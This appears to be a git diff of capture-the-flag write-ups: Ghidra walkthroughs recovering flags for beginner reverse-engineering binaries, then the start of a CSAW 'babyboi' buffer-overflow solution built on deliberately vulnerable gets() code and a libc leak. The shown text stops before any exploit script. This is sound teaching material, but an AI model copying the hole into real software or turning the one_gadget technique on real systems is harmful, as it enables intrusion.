0030103f ff ?? FFh
|
||||
00301040 62 ?? 62h b
|
||||
|
||||
00301041 00 ?? 00h
|
||||
00301042 00 ?? 00h
|
||||
00301043 00 ?? 00h
|
||||
00301044 6c ?? 6Ch l
|
||||
|
||||
00301045 00 ?? 00h
|
||||
00301046 00 ?? 00h
|
||||
00301047 00 ?? 00h
|
||||
00301048 72 ?? 72h r
|
||||
|
||||
00301049 00 ?? 00h
|
||||
0030104a 00 ?? 00h
|
||||
0030104b 00 ?? 00h
|
||||
0030104c ff ?? FFh
|
||||
0030104d ff ?? FFh
|
||||
0030104e ff ?? FFh
|
||||
0030104f ff ?? FFh
|
||||
00301050 ff ?? FFh
|
||||
00301051 ff ?? FFh
|
||||
00301052 ff ?? FFh
|
||||
00301053 ff ?? FFh
|
||||
00301054 ff ?? FFh
|
||||
00301055 ff ?? FFh
|
||||
00301056 ff ?? FFh
|
||||
00301057 ff ?? FFh
|
||||
00301058 ff ?? FFh
|
||||
00301059 ff ?? FFh
|
||||
0030105a ff ?? FFh
|
||||
0030105b ff ?? FFh
|
||||
0030105c ff ?? FFh
|
||||
0030105d ff ?? FFh
|
||||
0030105e ff ?? FFh
|
||||
0030105f ff ?? FFh
|
||||
00301060 ff ?? FFh
|
||||
00301061 ff ?? FFh
|
||||
00301062 ff ?? FFh
|
||||
00301063 ff ?? FFh
|
||||
00301064 61 ?? 61h a
|
||||
|
||||
00301065 00 ?? 00h
|
||||
00301066 00 ?? 00h
|
||||
00301067 00 ?? 00h
|
||||
00301068 65 ?? 65h e
|
||||
|
||||
00301069 00 ?? 00h
|
||||
0030106a 00 ?? 00h
|
||||
0030106b 00 ?? 00h
|
||||
0030106c 69 ?? 69h i
|
||||
[...]
|
||||
|
||||
|
||||
|
||||
now when you look at the characters in this array, you can get the feeling that you might be able to type flag{something} with it, so let's follow what the code does with the 2 arrays we found:
|
||||
|
||||
we know that the start of the 1020array is 00301020. The character f will output 1 because **((0x00301024 - 0x00301020) / 4) = 1** so this is equal to 1. This 1 also corresponds to the 14e0 array from earlier:
|
||||
|
||||
|
||||
DAT_003014e0 XREF[2]: FUN_001008a1:0010096b(*),
|
||||
FUN_001008a1:00100972(R)
|
||||
003014e0 01 ?? 01h
|
||||
|
||||
003014e1 00 ?? 00h
|
||||
003014e2 00 ?? 00h
|
||||
003014e3 00 ?? 00h
|
||||
003014e4 00 ?? 00h
|
||||
003014e5 00 ?? 00h
|
||||
003014e6 00 ?? 00h
|
||||
003014e7 00 ?? 00h
|
||||
003014e8 09 ?? 09h
|
||||
|
||||
003014e9 00 ?? 00h
|
||||
003014ea 00 ?? 00h
|
||||
003014eb 00 ?? 00h
|
||||
003014ec 00 ?? 00h
|
||||
003014ed 00 ?? 00h
|
||||
003014ee 00 ?? 00h
|
||||
003014ef 00 ?? 00h
|
||||
003014f0 11 ?? 11h
|
||||
|
||||
003014f1 00 ?? 00h
|
||||
003014f2 00 ?? 00h
|
||||
003014f3 00 ?? 00h
|
||||
003014f4 00 ?? 00h
|
||||
003014f5 00 ?? 00h
|
||||
003014f6 00 ?? 00h
|
||||
003014f7 00 ?? 00h
|
||||
003014f8 27 ?? 27h '
|
||||
|
||||
003014f9 00 ?? 00h
|
||||
003014fa 00 ?? 00h
|
||||
003014fb 00 ?? 00h
|
||||
003014fc 00 ?? 00h
|
||||
003014fd 00 ?? 00h
|
||||
003014fe 00 ?? 00h
|
||||
003014ff 00 ?? 00h
|
||||
00301500 02 ?? 02h
|
||||
|
||||
[...]
|
||||
|
||||
|
||||
|
||||
and here you have to continue with the 0x9 value,**(0x00301020 + (4*9)) = 0x301044** this address corresponds to the l character
|
||||
|
||||
|
||||
fl
|
||||
|
||||
|
||||
|
||||
11 is the third character **(0x00301020 + (4*11)) = 0x301064** this corresponds to the a character
|
||||
|
||||
|
||||
fla
|
||||
|
||||
|
||||
27 is the fourth character **(0x00301020 + (4*27)) = 0x3010bc** this corresponds to the g character
|
||||
|
||||
|
||||
flag
|
||||
|
||||
|
||||
from here you keep going and you end up with the following:
|
||||
|
||||
|
||||
flag{we_beleaf_in_your_re_future}
|
||||
|
||||
|
||||
|
||||
so just run the binary with the flag to verify it is correct:
|
||||
|
||||
|
||||
[ 192.168.100.126/24 ] [ /dev/pts/1 ] [~/binexp/1]
|
||||
→ ./beleaf
|
||||
Enter the flag
|
||||
>>> flag{we_beleaf_in_your_re_future}
|
||||
Correct!
|
||||
|
||||
|
||||
|
||||
## Title
|
||||
|
||||
text
|
||||
|
||||
|
||||
|
||||
|
||||
` ![]()
|
||||
|
||||
## Title
|
||||
|
||||
text
|
||||
|
||||
|
||||
|
||||
|
||||
` ![]()
|
||||
|
294
1/heli.md
Normal file
|
@ -0,0 +1,294 @@
|
|||
# Helithumper Reverse Engineering
|
||||
|
||||
## Downloading the binary file
|
||||
|
||||
|
||||
[ 192.168.100.126/24 ] [ /dev/pts/1 ] [~/binexp/1]
|
||||
→ wget https://github.com/guyinatuxedo/nightmare/raw/master/modules/03-beginner_re/helithumper_re/rev
|
||||
--2021-02-22 17:19:05-- https://github.com/guyinatuxedo/nightmare/raw/master/modules/03-beginner_re/helithumper_re/rev
|
||||
Resolving github.com (github.com)... 140.82.121.4
|
||||
Connecting to github.com (github.com)|140.82.121.4|:443... connected.
|
||||
HTTP request sent, awaiting response... 302 Found
|
||||
Location: https://raw.githubusercontent.com/guyinatuxedo/nightmare/master/modules/03-beginner_re/helithumper_re/rev [following]
|
||||
--2021-02-22 17:19:05-- https://raw.githubusercontent.com/guyinatuxedo/nightmare/master/modules/03-beginner_re/helithumper_re/rev
|
||||
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.110.133, 185.199.111.133, 185.199.108.133, ...
|
||||
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.110.133|:443... connected.
|
||||
HTTP request sent, awaiting response... 200 OK
|
||||
Length: 16704 (16K) [application/octet-stream]
|
||||
Saving to: ‘rev’
|
||||
|
||||
rev 100%[===============================================================================>] 16.31K --.-KB/s in 0s
|
||||
|
||||
2021-02-22 17:19:05 (37.3 MB/s) - ‘rev’ saved [16704/16704]
|
||||
|
||||
|
||||
[ 192.168.100.126/24 ] [ /dev/pts/1 ] [~/binexp/1]
|
||||
→ file rev
|
||||
rev: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=e4dbcb1281821db359d566c68fea7380aeb27378, for GNU/Linux 3.2.0, not stripped
|
||||
|
||||
[ 192.168.100.126/24 ] [ /dev/pts/1 ] [~/binexp/1]
|
||||
→ chmod +x rev
|
||||
|
||||
|
||||
|
||||
` ![]()
|
||||
|
||||
## Solution
|
||||
|
||||
Run the binary
|
||||
|
||||
|
||||
[ 192.168.100.126/24 ] [ /dev/pts/1 ] [~/binexp/1]
|
||||
→ ./rev
|
||||
Welcome to the Salty Spitoon™, How tough are ya?
|
||||
very though
|
||||
Yeah right. Back to Weenie Hut Jr™ with ya
|
||||
|
||||
|
||||
here the binary prints some text, then lets us input our text (here its 'very though') and then prints some text again. It is safe to assume that we will need to type the correct passphrase to get the correct output. So let's inspect the binary file from ghidra:
|
||||
|
||||
 
|
||||
|
||||
now from here we want to check out the main function of our binary file, so go into the symbol tree tab, into functions, into main, and we get the following code:
|
||||
|
||||

|
||||
|
||||
|
||||
bool main(void)
|
||||
|
||||
{
|
||||
int iVar1;
|
||||
void *pvVar2;
|
||||
|
||||
pvVar2 = calloc(0x32,1);
|
||||
puts(&DAT;_00102008);
|
||||
__isoc99_scanf(&DAT;_0010203b,pvVar2);
|
||||
iVar1 = validate(pvVar2);
|
||||
if (iVar1 == 0) {
|
||||
puts(&DAT;_00102050);
|
||||
}
|
||||
else {
|
||||
puts("Right this way...");
|
||||
}
|
||||
return iVar1 == 0;
|
||||
}
|
||||
|
||||
|
||||
|
||||
now here we see something, first of all it does a scanf (to prompt for our input) and then moves our text into pvVar2, then, it calls a function called 'validate' and the result of that function gets put into iVar1 which determines if we get a correct answer or not. So let's inspect the 2 possibilities of the if statement:
|
||||
|
||||
|
||||
if (iVar1 == 0) {
|
||||
puts(&DAT;_00102050);
|
||||
}
|
||||
else {
|
||||
puts("Right this way...");
|
||||
}
|
||||
|
||||
|
||||
From ghidra we see that this '&DAT;_00102050' is the string of characters we saw earlier:
|
||||
|
||||

|
||||
|
||||
therefore, we do not want iVar1 to be equal to 0, we want iVar1 to be equal to 1
|
||||
|
||||
So the hint here is, what is being validated ? How is our input being validated ? we inspect the validate function which HAS TO return 1, if we want our iVar1 to be equal to 1:
|
||||
|
||||

|
||||
|
||||
Which gives us the following code:
|
||||
|
||||
|
||||
undefined8 validate(char *param_1)
|
||||
|
||||
{
|
||||
size_t sVar1;
|
||||
undefined8 uVar2;
|
||||
long in_FS_OFFSET;
|
||||
int local_50;
|
||||
int local_48 [4];
|
||||
undefined4 local_38;
|
||||
undefined4 local_34;
|
||||
undefined4 local_30;
|
||||
undefined4 local_2c;
|
||||
undefined4 local_28;
|
||||
undefined4 local_24;
|
||||
undefined4 local_20;
|
||||
undefined4 local_1c;
|
||||
undefined4 local_18;
|
||||
undefined4 local_14;
|
||||
long local_10;
|
||||
|
||||
local_10 = *(long *)(in_FS_OFFSET + 0x28);
|
||||
local_48[0] = 0x66;
|
||||
local_48[1] = 0x6c;
|
||||
local_48[2] = 0x61;
|
||||
local_48[3] = 0x67;
|
||||
local_38 = 0x7b;
|
||||
local_34 = 0x48;
|
||||
local_30 = 0x75;
|
||||
local_2c = 0x43;
|
||||
local_28 = 0x66;
|
||||
local_24 = 0x5f;
|
||||
local_20 = 0x6c;
|
||||
local_1c = 0x41;
|
||||
local_18 = 0x62;
|
||||
local_14 = 0x7d;
|
||||
sVar1 = strlen(param_1);
|
||||
local_50 = 0;
|
||||
do {
|
||||
if ((int)sVar1 <= local_50) {
|
||||
uVar2 = 1;
|
||||
LAB_001012b7:
|
||||
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
|
||||
/* WARNING: Subroutine does not return */
|
||||
__stack_chk_fail();
|
||||
}
|
||||
return uVar2;
|
||||
}
|
||||
if ((int)param_1[local_50] != local_48[local_50]) {
|
||||
uVar2 = 0;
|
||||
goto LAB_001012b7;
|
||||
}
|
||||
local_50 = local_50 + 1;
|
||||
} while( true );
|
||||
}
|
||||
|
||||
|
||||
So first of all our input text gets passed into the validate function via the param_1 parameter. It enters a do{} while(); loop, with each iteration of that while loop, there is a value that gets incremented, the only return statements of that function are either return uVar2 or either not making the function return anything at all, instead going to the __stack_chk_fail() function. therefore the important value here is uVar2
|
||||
|
||||
|
||||
int local_48 [4];
|
||||
|
||||
[...]
|
||||
|
||||
local_48[0] = 0x66;
|
||||
local_48[1] = 0x6c;
|
||||
local_48[2] = 0x61;
|
||||
local_48[3] = 0x67;
|
||||
|
||||
[...]
|
||||
|
||||
if ((int)param_1[local_50] != local_48[local_50]) {
|
||||
uVar2 = 0;
|
||||
goto LAB_001012b7;
|
||||
}
|
||||
local_50 = local_50 + 1;
|
||||
|
||||
|
||||
Here we see that our each character of our input (param1) gets checked against the corresponding character of the local_48 string. Therefore we need to make sure our input matches the values inside of local_48's 0,1,2,3 characters. so we know we have to look at the following addresses:
|
||||
|
||||
|
||||
0x66
|
||||
0x6c
|
||||
0x61
|
||||
0x67
|
||||
|
||||
|
||||
|
||||
From Ghidra, we see the following assembly code:
|
||||
|
||||
|
||||
00101205 c7 45 c0 MOV dword ptr [RBP + local_48],0x66
|
||||
66 00 00 00
|
||||
0010120c c7 45 c4 MOV dword ptr [RBP + local_44],0x6c
|
||||
6c 00 00 00
|
||||
00101213 c7 45 c8 MOV dword ptr [RBP + local_40],0x61
|
||||
61 00 00 00
|
||||
0010121a c7 45 cc MOV dword ptr [RBP + local_3c],0x67
|
||||
67 00 00 00
|
||||
|
||||
|
||||
|
||||
|
||||
00101221 c7 45 d0 MOV dword ptr [RBP + local_38],0x7b
|
||||
7b 00 00 00
|
||||
00101228 c7 45 d4 MOV dword ptr [RBP + local_34],0x48
|
||||
48 00 00 00
|
||||
0010122f c7 45 d8 MOV dword ptr [RBP + local_30],0x75
|
||||
75 00 00 00
|
||||
00101236 c7 45 dc MOV dword ptr [RBP + local_2c],0x43
|
||||
43 00 00 00
|
||||
0010123d c7 45 e0 MOV dword ptr [RBP + local_28],0x66
|
||||
66 00 00 00
|
||||
00101244 c7 45 e4 MOV dword ptr [RBP + local_24],0x5f
|
||||
5f 00 00 00
|
||||
0010124b c7 45 e8 MOV dword ptr [RBP + local_20],0x6c
|
||||
6c 00 00 00
|
||||
00101252 c7 45 ec MOV dword ptr [RBP + local_1c],0x41
|
||||
41 00 00 00
|
||||
00101259 c7 45 f0 MOV dword ptr [RBP + local_18],0x62
|
||||
62 00 00 00
|
||||
00101260 c7 45 f4 MOV dword ptr [RBP + local_14],0x7d
|
||||
7d 00 00 00
|
||||
|
||||
|
||||
Now from here we can get the list of specific bytes our input needs to be:
|
||||
|
||||
|
||||
0x66
|
||||
0x6c
|
||||
0x61
|
||||
0x67
|
||||
|
||||
0x7b
|
||||
0x48
|
||||
0x75
|
||||
0x43
|
||||
0x66
|
||||
0x5f
|
||||
0x6c
|
||||
0x41
|
||||
0x62
|
||||
0x7d
|
||||
|
||||
|
||||
Now let's move over to python:
|
||||
|
||||
|
||||
[ 192.168.100.126/24 ] [ /dev/pts/1 ] [~/binexp/1]
|
||||
→ ls -lash
|
||||
total 788K
|
||||
4.0K drwxr-xr-x 2 nothing nothing 4.0K Feb 22 17:19 .
|
||||
4.0K drwxr-xr-x 4 nothing nothing 4.0K Feb 22 17:23 ..
|
||||
20K -rwxr-xr-x 1 nothing nothing 17K Feb 22 17:19 rev
|
||||
760K -rwxr-xr-x 1 nothing nothing 759K Feb 22 17:12 strings
|
||||
|
||||
[ 192.168.100.126/24 ] [ /dev/pts/1 ] [~/binexp/1]
|
||||
→ file rev
|
||||
rev: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=e4dbcb1281821db359d566c68fea7380aeb27378, for GNU/Linux 3.2.0, not stripped
|
||||
|
||||
[ 192.168.100.126/24 ] [ /dev/pts/1 ] [~/binexp/1]
|
||||
→ python3
|
||||
Python 3.9.1+ (default, Feb 5 2021, 13:46:56)
|
||||
[GCC 10.2.1 20210110] on linux
|
||||
Type "help", "copyright", "credits" or "license" for more information.
|
||||
>>> x = [0x66, 0x6c, 0x61, 0x67, 0x7b, 0x48, 0x75, 0x43, 0x66, 0x5f, 0x6c, 0x41, 0x62, 0x7d]
|
||||
>>> input = ""
|
||||
>>> for i in x:
|
||||
... input += chr(i)
|
||||
...
|
||||
>>> input
|
||||
'flag{HuCf_lAb}'
|
||||
|
||||
|
||||
And here we see that the first 4 addresses were 'flag' the next 10 were '{HuCf_lAb}', this obviously was fairly easy
|
||||
|
||||
## Title
|
||||
|
||||
text
|
||||
|
||||
|
||||
|
||||
|
||||
` ![]()
|
||||
|
||||
## Title
|
||||
|
||||
text
|
||||
|
||||
|
||||
|
||||
|
||||
` ![]()
|
||||
|
75
1/strings.md
Normal file
|
@ -0,0 +1,75 @@
|
|||
# Binary Exploitation
|
||||
|
||||
## Downloading the binary file
|
||||
|
||||
|
||||
[ 192.168.100.126/24 ] [ /dev/pts/1 ] [~/binexp/1]
|
||||
→ wget https://github.com/guyinatuxedo/nightmare/raw/master/modules/03-beginner_re/pico18_strings/strings
|
||||
--2021-02-22 17:12:22-- https://github.com/guyinatuxedo/nightmare/raw/master/modules/03-beginner_re/pico18_strings/strings
|
||||
Resolving github.com (github.com)... 140.82.121.3
|
||||
Connecting to github.com (github.com)|140.82.121.3|:443... connected.
|
||||
HTTP request sent, awaiting response... 302 Found
|
||||
Location: https://raw.githubusercontent.com/guyinatuxedo/nightmare/master/modules/03-beginner_re/pico18_strings/strings [following]
|
||||
--2021-02-22 17:12:22-- https://raw.githubusercontent.com/guyinatuxedo/nightmare/master/modules/03-beginner_re/pico18_strings/strings
|
||||
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.111.133, 185.199.108.133, 185.199.109.133, ...
|
||||
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.111.133|:443... connected.
|
||||
HTTP request sent, awaiting response... 200 OK
|
||||
Length: 776368 (758K) [application/octet-stream]
|
||||
Saving to: ‘strings’
|
||||
|
||||
strings 100%[=======================================================================================================================================================================================================>] 758.17K --.-KB/s in 0.1s
|
||||
|
||||
2021-02-22 17:12:23 (5.86 MB/s) - ‘strings’ saved [776368/776368]
|
||||
|
||||
|
||||
[ 192.168.100.126/24 ] [ /dev/pts/1 ] [~/binexp/1]
|
||||
→ file strings
|
||||
strings: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=e337b489c47492dd5dff90353eb227b4e7e69028, not stripped
|
||||
|
||||
|
||||
` ![]()
|
||||
|
||||
## Solution
|
||||
|
||||
The solution is fairly simple, first make the binary file executable, then run it:
|
||||
|
||||
|
||||
[ 192.168.100.126/24 ] [ /dev/pts/1 ] [~/binexp/1]
|
||||
→ chmod +x strings
|
||||
|
||||
[ 192.168.100.126/24 ] [ /dev/pts/2 ] [~/binexp/1]
|
||||
→ ./strings
|
||||
Have you ever used the 'strings' function? Check out the man pages!
|
||||
|
||||
|
||||
Here we are hinted at using the strings function, so we will do so and use grep to try and see if the flag appears, generally the flag contains {flaghash} so we can use grep to find it :
|
||||
|
||||
|
||||
[ 192.168.100.126/24 ] [ /dev/pts/1 ] [~/binexp/1]
|
||||
→ strings strings | grep {
|
||||
picoCTF{sTrIngS_sAVeS_Time_3f712a28}
|
||||
|
||||
|
||||
|
||||
And we're done!
|
||||
|
||||
![]()
|
||||
|
||||
## Title
|
||||
|
||||
text
|
||||
|
||||
|
||||
|
||||
|
||||
` ![]()
|
||||
|
||||
## Title
|
||||
|
||||
text
|
||||
|
||||
|
||||
|
||||
|
||||
` ![]()
|
||||
|
84
2/0.md
Normal file
|
@ -0,0 +1,84 @@
|
|||
# Binary Exploitation
|
||||
|
||||
## Downloading the binary file
|
||||
|
||||
|
||||
|
||||
|
||||
` ![]()
|
||||
|
||||
## Solution
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
![]()
|
||||
|
||||
![]()
|
||||
|
||||
![]()
|
||||
|
||||
![]()
|
||||
|
||||
![]()
|
||||
|
||||
![]()
|
||||
|
||||
![]()
|
||||
|
||||
![]()
|
||||
|
||||
![]()
|
||||
|
||||
![]()
|
||||
|
||||
![]()
|
||||
|
||||
## Title
|
||||
|
||||
text
|
||||
|
||||
|
||||
|
||||
|
||||
` ![]()
|
||||
|
||||
## Title
|
||||
|
||||
text
|
||||
|
||||
|
||||
|
||||
|
||||
` ![]()
|
||||
|
BIN
2/1.png
Normal file
After Width: | Height: | Size: 795 KiB |
BIN
2/10.png
Normal file
After Width: | Height: | Size: 228 KiB |
BIN
2/11.png
Normal file
After Width: | Height: | Size: 427 KiB |
BIN
2/12.png
Normal file
After Width: | Height: | Size: 535 KiB |
BIN
2/13.png
Normal file
After Width: | Height: | Size: 378 KiB |
BIN
2/14.png
Normal file
After Width: | Height: | Size: 544 KiB |
BIN
2/15.png
Normal file
After Width: | Height: | Size: 312 KiB |
BIN
2/16.png
Normal file
After Width: | Height: | Size: 649 KiB |
BIN
2/17.png
Normal file
After Width: | Height: | Size: 293 KiB |
BIN
2/18.png
Normal file
After Width: | Height: | Size: 80 KiB |
BIN
2/19.png
Normal file
After Width: | Height: | Size: 30 KiB |
BIN
2/2.png
Normal file
After Width: | Height: | Size: 326 KiB |
BIN
2/20.png
Normal file
After Width: | Height: | Size: 12 KiB |
BIN
2/21.png
Normal file
After Width: | Height: | Size: 62 KiB |
BIN
2/22.png
Normal file
After Width: | Height: | Size: 99 KiB |
BIN
2/23.png
Normal file
After Width: | Height: | Size: 6.1 KiB |
BIN
2/24.png
Normal file
After Width: | Height: | Size: 90 KiB |
BIN
2/25.png
Normal file
After Width: | Height: | Size: 77 KiB |
BIN
2/26.png
Normal file
After Width: | Height: | Size: 38 KiB |
BIN
2/27.png
Normal file
After Width: | Height: | Size: 87 KiB |
BIN
2/28.png
Normal file
After Width: | Height: | Size: 32 KiB |
BIN
2/29.png
Normal file
After Width: | Height: | Size: 21 KiB |
BIN
2/3.png
Normal file
After Width: | Height: | Size: 237 KiB |
BIN
2/30.png
Normal file
After Width: | Height: | Size: 176 KiB |
BIN
2/31.png
Normal file
After Width: | Height: | Size: 81 KiB |
BIN
2/32.png
Normal file
After Width: | Height: | Size: 16 KiB |
BIN
2/33.png
Normal file
After Width: | Height: | Size: 11 KiB |
BIN
2/34.png
Normal file
After Width: | Height: | Size: 30 KiB |
BIN
2/35.png
Normal file
After Width: | Height: | Size: 61 KiB |
BIN
2/4.png
Normal file
After Width: | Height: | Size: 299 KiB |
BIN
2/40.png
Normal file
After Width: | Height: | Size: 38 KiB |
BIN
2/41.png
Normal file
After Width: | Height: | Size: 58 KiB |
BIN
2/42.png
Normal file
After Width: | Height: | Size: 32 KiB |
BIN
2/43.png
Normal file
After Width: | Height: | Size: 16 KiB |
BIN
2/44.png
Normal file
After Width: | Height: | Size: 110 KiB |
BIN
2/45.png
Normal file
After Width: | Height: | Size: 19 KiB |
BIN
2/46.png
Normal file
After Width: | Height: | Size: 80 KiB |
BIN
2/47.png
Normal file
After Width: | Height: | Size: 68 KiB |
BIN
2/48.png
Normal file
After Width: | Height: | Size: 26 KiB |
BIN
2/49.png
Normal file
After Width: | Height: | Size: 20 KiB |
BIN
2/5.png
Normal file
After Width: | Height: | Size: 994 KiB |
BIN
2/50.png
Normal file
After Width: | Height: | Size: 30 KiB |
BIN
2/51.png
Normal file
After Width: | Height: | Size: 67 KiB |
BIN
2/6.png
Normal file
After Width: | Height: | Size: 390 KiB |
BIN
2/7.png
Normal file
After Width: | Height: | Size: 190 KiB |
BIN
2/8.png
Normal file
After Width: | Height: | Size: 617 KiB |
BIN
2/9.png
Normal file
After Width: | Height: | Size: 814 KiB |
308
2/bboi.md
Normal file
|
@ -0,0 +1,308 @@
|
|||
# Csaw 2019 babyboi
|
||||
|
||||
## Downloading the binary file
|
||||
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/2 ] [binexp/2/bboi]
|
||||
→ wget https://github.com/guyinatuxedo/nightmare/raw/master/modules/08-bof_dynamic/csaw19_babyboi/baby_boi
|
||||
|
||||
baby_boi 100%[==========================================================>] 8.41K --.-KB/s in 0.001s
|
||||
|
||||
2021-03-06 15:19:56 (16.1 MB/s) - ‘baby_boi’ saved [8608/8608]
|
||||
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/2 ] [binexp/2/bboi]
|
||||
→ wget https://github.com/guyinatuxedo/nightmare/raw/master/modules/08-bof_dynamic/csaw19_babyboi/baby_boi.c
|
||||
|
||||
baby_boi.c 100%[==========================================================>] 274 --.-KB/s in 0s
|
||||
|
||||
2021-03-06 15:20:10 (27.1 MB/s) - ‘baby_boi.c’ saved [274/274]
|
||||
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/2 ] [binexp/2/bboi]
|
||||
→ wget https://github.com/guyinatuxedo/nightmare/raw/master/modules/08-bof_dynamic/csaw19_babyboi/libc-2.27.so
|
||||
|
||||
libc-2.27.so 100%[==========================================================>] 1.94M 2.79MB/s in 0.7s
|
||||
|
||||
2021-03-06 15:20:19 (2.79 MB/s) - ‘libc-2.27.so’ saved [2030544/2030544]
|
||||
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/2 ] [binexp/2/bboi]
|
||||
→ file baby_boi
|
||||
baby_boi: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=e1ff55dce2efc89340b86a666bba5e7ff2b37f62, not stripped
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/2 ] [binexp/2/bboi]
|
||||
→ chmod +x baby_boi
|
||||
|
||||
|
||||
|
||||
` ![]()
|
||||
|
||||
## Solution
|
||||
|
||||
first let's run the binary to see what it does:
|
||||
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/2 ] [binexp/2/bboi]
|
||||
→ ./baby_boi
|
||||
Hello!
|
||||
Here I am: 0x7f158ee88590
|
||||
ok
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/2 ] [binexp/2/bboi]
|
||||
→ ./baby_boi
|
||||
Hello!
|
||||
Here I am: 0x7f7090800590
|
||||
hello
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/2 ] [binexp/2/bboi]
|
||||
→ ./baby_boi
|
||||
Hello!
|
||||
Here I am: 0x7f4a5ed57590
|
||||
bye
|
||||
|
||||
|
||||
|
||||
The binary basically outputs some text, then it lekas some memorya ddress, and then lets us put in some text. Let's run pwn checksec on it and check what are the other files about:
|
||||
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/2 ] [binexp/2/bboi]
|
||||
→ pwn checksec baby_boi
|
||||
[*] '/home/nothing/binexp/2/bboi/baby_boi'
|
||||
Arch: amd64-64-little
|
||||
RELRO: Partial RELRO
|
||||
Stack: No canary found
|
||||
NX: NX enabled
|
||||
PIE: No PIE (0x400000)
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/2 ] [binexp/2/bboi]
|
||||
→ cat baby_boi.c
|
||||
#include
|
||||
#include
|
||||
|
||||
int main(int argc, char **argv[]) {
|
||||
setvbuf(stdout, NULL, _IONBF, 0);
|
||||
setvbuf(stdin, NULL, _IONBF, 0);
|
||||
setvbuf(stderr, NULL, _IONBF, 0);
|
||||
|
||||
char buf[32];
|
||||
printf("Hello!\n");
|
||||
printf("Here I am: %p\n", printf);
|
||||
gets(buf);
|
||||
}
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/2 ] [binexp/2/bboi]
|
||||
→ ./libc-2.27.so
|
||||
zsh: permission denied: ./libc-2.27.so
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/2 ] [binexp/2/bboi]
|
||||
→ chmod +x libc-2.27.so
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/2 ] [binexp/2/bboi]
|
||||
→ ./libc-2.27.so
|
||||
Inconsistency detected by ld.so: dl-call-libc-early-init.c: 37: _dl_call_libc_early_init: Assertion `sym != NULL' failed!
|
||||
|
||||
|
||||
|
||||
|
||||
Now here we see that the binary just prompts us for text, and looking at the sourcecode, we see that it prints the libc address for printf. After that, it makes a **gets** call on a fixed size buffer of 32 bytes (0x20 bytes) so this means that we have a buffer overflow. We also see that the libc version is **2.27** The only binary protection that we have is NX.
|
||||
|
||||
To exploit this, we will use the buffer overflow vulnerability we just mentionned, and then we will call a oneshot gadget, which is a single ROP gadget in the libc library that will call **execve("/bin/sh")** given the right conditions, we find this using the [one_gadget](https://github.com/david942j/one_gadget) utility:
|
||||
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/9 ] [~]
|
||||
→ sudo pacman -S rubygems
|
||||
[sudo] password for nothing:
|
||||
warning: rubygems-3.2.13-1 is up to date -- reinstalling
|
||||
resolving dependencies...
|
||||
looking for conflicting packages...
|
||||
|
||||
Package (1) Old Version New Version Net Change
|
||||
|
||||
extra/rubygems 3.2.13-1 3.2.13-1 0.00 MiB
|
||||
|
||||
Total Installed Size: 0.92 MiB
|
||||
Net Upgrade Size: 0.00 MiB
|
||||
|
||||
:: Proceed with installation? [Y/n] y
|
||||
(1/1) checking keys in keyring [----------------------------------------------] 100%
|
||||
(1/1) checking package integrity [----------------------------------------------] 100%
|
||||
(1/1) loading package files [----------------------------------------------] 100%
|
||||
(1/1) checking for file conflicts [----------------------------------------------] 100%
|
||||
(1/1) checking available disk space [----------------------------------------------] 100%
|
||||
:: Processing package changes...
|
||||
(1/1) reinstalling rubygems [----------------------------------------------] 100%
|
||||
:: Running post-transaction hooks...
|
||||
(1/1) Arming ConditionNeedsUpdate...
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/9 ] [~]
|
||||
→ gem install one_gadget
|
||||
Fetching one_gadget-1.7.4.gem
|
||||
Fetching bindata-2.4.8.gem
|
||||
Fetching elftools-1.1.3.gem
|
||||
WARNING: You don't have /home/nothing/.local/share/gem/ruby/2.7.0/bin in your PATH,
|
||||
gem executables will not run.
|
||||
Successfully installed bindata-2.4.8
|
||||
Successfully installed elftools-1.1.3
|
||||
Successfully installed one_gadget-1.7.4
|
||||
3 gems installed
|
||||
|
||||
|
||||
|
||||
Here for some reason the binary to run one_gadget isn't in my $PATH so i have to make a symlink to it:
|
||||
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/19 ] [~]
|
||||
→ sudo updatedb;locate one_gadget | grep 'gadget$'
|
||||
/home/nothing/.local/share/gem/ruby/2.7.0/bin/one_gadget
|
||||
/home/nothing/.local/share/gem/ruby/2.7.0/gems/one_gadget-1.7.4/bin/one_gadget
|
||||
/home/nothing/.local/share/gem/ruby/2.7.0/gems/one_gadget-1.7.4/lib/one_gadget
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/19 ] [~]
|
||||
→ /home/nothing/.local/share/gem/ruby/2.7.0/bin/one_gadget
